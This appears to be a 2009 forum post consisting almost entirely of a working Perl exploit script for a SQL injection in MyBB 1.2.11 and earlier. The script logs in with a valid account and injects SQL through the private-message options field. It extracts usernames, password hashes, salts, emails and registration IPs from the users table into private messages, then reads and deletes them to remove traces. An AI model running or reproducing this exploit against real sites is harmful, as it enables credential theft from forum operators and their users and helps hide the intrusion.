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mybb@mybb.ru (lapochka) — Fri, 16 Jan 2009 20:27:31 +0300

#!/usr/bin/perl

#
# MyBB <=1.2.11 SQL Injection Exploit based on http://www.waraxe.us/advisory-64.html
#
# Needs MySQL >=4.1 and a valid registration.
#
# By F
#

use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;
use HTML::Entities;

####

print("\n");
print("################################################## ##########################\n");
print("# MyBB <=1.2.11 SQL Injection Exploit by F #\n");
print("################################################## ##########################\n");

if(@ARGV<5){
print("# Usage: perl mybb1211.pl host path user pass victim_uid [last_victim_uid] #\n");
print("################################################## ##########################\n");
exit;
};

$host="http://".$ARGV[0];
$path=$ARGV[1];
$user=$ARGV[2];
$pass=$ARGV[3];
$vid1=$ARGV[4];

if(@ARGV<=5){
$vidn=$vid1;
}else{
$vidn=$ARGV[5];
};

print("\n");
print(" [~] Host: ".$host."\n");
print(" [~] Path: ".$path."\n");
print(" [~] User: ".$user."\n");
print(" [~] Pass: ".$pass."\n");
print(" [~] From #".$vid1."\n");
print(" [~] To #".$vidn."\n");
print("\n");

####

# create $browser and $cookie_jar
$browser=LWP::UserAgent->new() or die(" [-] Cannot create new UserAgent\n");
$cookie_jar=HTTP::Cookies->new();
$browser->cookie_jar($cookie_jar);

# try to log in
$result=$browser->post(
$host.$path."member.php",
Content=>[
"action"=>"do_login",
"username"=>$user,
"password"=>$pass,
"url"=>$host.$path."index.php",
"submit"=>"Login",
],
);

# check cookie
if($cookie_jar->as_string=~m/mybbuser=.*?;/){
print(" [+] Login successful\n");
}else{
print(" [-] Login unsuccessful\n");
exit;
};

# try to get uid
$result=$browser->get($host.$path."usercp.php");

# check result
if($result->as_string=~m/member\.php\?action=profile&uid=([0-9]*?)"/){
$uid=$1;
print(" [+] Getting uid successful: ".$uid."\n");
}else{
print(" [-] Getting uid unsuccessful\n");
exit;
};

# construct exploit
$exploit ="yes','0','0'),";
$exploit.="('".$uid."','".$uid."','".$uid."','1','haxx_result','0',concat('(haxx_start)',";
for($vid=$vid1;$vid<=$vidn;$vid++){
$exploit.="ifnull((select concat(uid,'-',username,':',password,':',salt,'::',email,'-',usergroup,'-',additionalgroups,'-',website,'-',regip,'(haxx_delim)') from mybb_users where uid=".$vid."),''),";
};
$exploit.="'(haxx_end)'),'".time()."','0','no','yes','0','0'),";
$exploit.="('".$uid."','".$uid."','".$uid."','1','haxx_message=0','0','nuthin0','".time()."','0','no','yes";

# try to send exploit
$result=$browser->post(
$host.$path."private.php",
Content=>[
"action"=>"do_send",
"subject"=>"haxx_message=".(1+rand(65536)),
"message"=>"nuthin".(1+rand(65536)),
"to"=>$user,
"options[disablesmilies]"=>$exploit,
],
);

# check if user is valid
if( ($result->as_string=~m/Your account has either been suspended or you have been banned from accessing this resource./) ||
($result->as_string=~m/You do not have permission to access this page./) ||
($result->as_string=~m/Your account may still be awaiting activation or moderation./)
){
print(" [-] User has no permission to send private messages. This can happen if the user is suspended, banned, unactivated, or for other similar reasons.\n");
exit;
};

# check the 5 minute cap
if($result->as_string=~m/You have already submitted the same private message to the same recipient within the last 5 minutes./){
print(" [-] Unsuccessful attempt to fool MyBB with the 5 minute limit on sending private messages. Please run the exploit again.\n");
exit;
};

# check if it successfully sent the messages -> REMOVED, does not work on some installations
#if($result->as_string=~m/Thank you, your private message has successfully been sent./){
print(" [+] Sending messages was successful.\n");
#}else{
# print(" [-] Sending messages was unsuccessful.\n");
# print($result->as_string);
# exit;
#};

# delete auxiliary messages
print(" [+] Deleting auxiliary messages.\n");
$result=$browser->get($host.$path."private.php?fid=1");
while($result->as_string=~m/private\.php\?action=read&pmid=([0-9]*?)">haxx_message=[0-9]*?</g){
$pmid=$1;
$result=$browser->get($host.$path."private.php?action=delete&pmid=".$pmid);
$result=$browser->get($host.$path."private.php?fid=1");
};

# download and delete messages
print(" [+] Exploit successful.\n");
print("\n");

while($result->as_string=~m/private\.php\?action=read&pmid=([0-9]*?)">haxx_result</g){
$pmid=$1;
$result=$browser->get($host.$path."private.php?action=read&pmid=".$pmid);
if($result->as_string=~m/$haxx_start$(.*)$haxx_end$/){
$pm=$1;
$pm=~s/$haxx_delim$/\n/g;
$pm=decode_entities($pm);
print($pm);
};
$result=$browser->get($host.$path."private.php?action=delete&pmid=".$pmid);
$result=$browser->get($host.$path."private.php?fid=1");
};

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mybb@mybb.ru (lapochka) — Fri, 16 Jan 2009 20:25:14 +0300

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